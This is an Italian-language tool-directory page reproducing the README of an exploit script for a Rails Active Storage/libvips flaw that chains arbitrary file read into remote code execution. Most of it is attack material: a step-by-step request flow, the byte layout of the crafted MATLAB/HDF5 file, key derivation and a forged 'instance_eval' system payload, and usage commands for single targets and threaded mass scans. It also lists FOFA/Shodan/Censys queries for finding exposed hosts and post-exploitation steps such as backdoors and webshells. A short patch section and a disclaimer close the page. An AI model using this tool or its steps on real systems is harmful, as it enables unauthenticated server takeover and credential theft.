Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-66066
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1

Vedi Repository
117 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-66066 — KindaRails2Shell

Lettura Arbitraria di File in Rails Active Storage/libvips → Furto di SECRET_KEY_BASE → RCE


Panoramica

CVE-2026-66066 è una catena di gravità critica (CVSS 9.5) che combina la lettura arbitraria di file in pre-autenticazione con l'esecuzione remota di codice in Ruby on Rails Active Storage, colpendo Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 e 8.1.0–8.1.3 nella loro configurazione predefinita.

La vulnerabilità sfrutta una confusione del parser su quattro livelli tra Rails, libvips, libmatio e HDF5. Un file appositamente creato con un'intestazione MATLAB 5.0 (che soddisfa lo sniffer di libvips) e un contenitore HDF5 v7.3 (instradato da libmatio) contiene un dataset esterno che punta a un percorso di file arbitrario lato server. Quando ActiveStorage elabora questo file come variante immagine, i byte del file target diventano pixel dell'immagine — consentendo la lettura arbitraria di file senza autenticazione.

Una volta recuperata SECRET_KEY_BASE da /proc/self/environ o dai file delle credenziali, l'attaccante deriva la chiave del verifier di Active Storage e falsifica un JSON di variazione firmato contenente instance_eval, ottenendo l'esecuzione remota di codice.

Installazioni interessate: oltre 500.000 applicazioni Rails (predefinito Rails 7+ variant_processor = :vips) Scoperta da: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, luglio 2026 Patch: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 luglio 2026)

Versioni Interessate

RamoVulnerabileCorretta
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x è interessato solo se variant_processor = :vips è stato abilitato manualmente.

Scoperta da: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph PoC di riferimento: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


Meccanismo della Vulnerabilità

Causa Principale: Confusione del Parser su Quattro Livelli

L'exploit combina due discrepanze indipendenti sul content-type tra quattro componenti:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

Il File a Doppia Identità

"Nessun writer legittimo emette contemporaneamente MATLAB 5.0 al byte 0 e 0x0200 al byte 124."

Perché Funziona

  1. Content_type dichiarato dal client — Blob#variable? si fida della colonna del database popolata al momento del caricamento diretto. Nessun byte viene esaminato.
  2. Autodetect di libvips — Vips::Image.new_from_file itera i loader; lo sniffer di matload controlla solo 10 byte.
  3. Dispatch della versione in libmatio — I byte 124–125 determinano il parser; 0x0200 seleziona il backend HDF5 indipendentemente dal testo descrittivo.
  4. Dataset esterni HDF5 — H5Pset_external consente che i byte grezzi di un dataset risiedano in un file esterno arbitrario. libmatio chiama H5Dread senza controllare H5Pget_external_count.
  5. Chiavi di variazione indipendenti dal blob — Una chiave di variazione recuperata firma solo la trasformazione, non l'ID del blob, rendendole riutilizzabili su qualsiasi blob caricato.
  6. Il transformer Vips non ha una allowlist dei metodi — Transformers::Vips eredita validate_transformation dalla classe base, che blocca solo combine_options. Nomi di metodo arbitrari passano a .

Flusso dell'Attacco

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

Riferimenti Verificati al Codice Sorgente


Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

Utilizzo

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

Argomenti

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prova di Concetto

Singolo Target

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

Solo Lettura File

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

Impatto

Uno sfruttamento riuscito produce esecuzione remota di codice come utente del processo Rails:

  • Estrarre SECRET_KEY_BASE → falsificare cookie firmati, sessioni e token di ActiveStorage
  • Decifrare credentials.yml.enc → password del database, chiavi del cloud storage, token API di terze parti
  • Accedere a tutti i dati dell'applicazione tramite la console Rails usando sessioni falsificate
  • Effettuare il pivot verso servizi interni raggiungibili dall'host Rails
  • Installare backdoor persistenti tramite cron, chiavi SSH o webshell a livello applicativo

Non è necessario alcun account sull'applicazione — l'endpoint di caricamento diretto accetta richieste non autenticate per impostazione predefinita.


La Correzione (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

La correzione blocca i loader libvips non attendibili:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

Questo impedisce a matload, svgload, fitsload, niiload, radload e openslideload di elaborare input non attendibili. Esegui l'upgrade a Rails 7.2.3.2, 8.0.5.1 o 8.1.3.1. Richiede libvips >= 8.13 e ruby-vips >= 2.2.1.

Dopo la patch: ruota tutti i segreti leggibili dal processo Rails — SECRET_KEY_BASE, RAILS_MASTER_KEY, le credenziali del database e le chiavi del cloud storage.


Disclaimer

SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI.

Non utilizzare contro sistemi senza il permesso esplicito del proprietario. Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti


Scoperta da Ethiack Research Team + RyotaK + bl0rph. Non affiliato a Ruby on Rails.

Scarica lo strumento
ByteScopoValore
0–9sniffer di libvipsMATLAB 5.0
10–123PaddingSpazi
124–125dispatcher di libmatio0x0200 (HDF5 v7.3)
126–127Marcatore di endianness0x4d49 (IM)
128–511HDF5 userblockPadding
512+HDF5 superblockContenitore con dataset esterno
Vips::Image.public_send
FileScopo
activestorage/app/models/active_storage/blob.rbvariable? si fida della colonna content_type
activestorage/app/models/active_storage/blob/representable.rbLa rotta di rappresentazione risolve blob + variazione in modo indipendente
activestorage/app/models/active_storage/variation.rbdecode verifica la chiave di variazione; nessun riferimento incrociato al blob
image_processing/lib/image_processing/transformers/vips.rbNessuna allowlist dei metodi — eredita il comportamento della classe base
libvips/foreign/matload.cvips__mat_ismat analizza solo i primi 10 byte
RisorsaLink
Advisory di sicurezza RailsGHSA-xr9x-r78c-5hrm
PoC di riferimento (0xsha)KindaRails2Shell
Ricerca Ethiackkindarails2shell
Rails Forensicsrails-forensics-CVE-2026-66066
Modulo Metasploitrapid7/metasploit-framework#21733
CWE-94Iniezione di codice